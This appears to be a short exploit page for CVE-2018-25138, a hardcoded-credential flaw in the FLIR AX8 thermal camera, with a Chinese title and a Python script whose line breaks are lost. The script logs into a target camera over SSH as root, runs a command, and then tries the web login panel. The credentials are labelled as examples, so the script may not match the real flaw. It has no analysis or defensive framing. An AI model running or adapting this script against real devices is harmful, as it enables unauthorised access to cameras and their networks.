CVE-2018-25138 FLIR AX8热成像摄像头硬编码SSH和Web凭据漏洞

import socket import paramiko import requests # Hardcoded credentials for FLIR AX8 Thermal Camera SSH_CREDS = { 'username': 'root', 'password': 'pass123' # Example hardcoded credential } WEB_CREDS = { 'username': 'admin', 'password': 'admin123' # Example hardcoded credential } TARGET_IP = '192.168.1.100' # Target camera IP def exploit_ssh(): """Exploit hardcoded SSH credentials""" try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(TARGET_IP, port=22, username=SSH_CREDS['username'], password=SSH_CREDS['password'], timeout=10) print('[+] SSH connection successful!') stdin, stdout, stderr = ssh.exec_command('id') print('[+] Command output:', stdout.read().decode()) ssh.close() return True except Exception as e: print(f'[-] SSH exploit failed: {e}') return False def exploit_web(): """Exploit hardcoded Web panel credentials""" try: session = requests.Session() login_url = f'http://{TARGET_IP}/login' data = { 'username': WEB_CREDS['username'], 'password': WEB_CREDS['password'] } response = session.post(login_url, data=data, timeout=10) if response.status_code == 200 and 'authenticated' in response.text: print('[+] Web panel access successful!') return True return False except Exception as e: print(f'[-] Web exploit failed: {e}') return False if __name__ == '__main__': print('[*] CVE-2018-25138 Exploit - FLIR AX8 Hardcoded Credentials') exploit_ssh() exploit_web()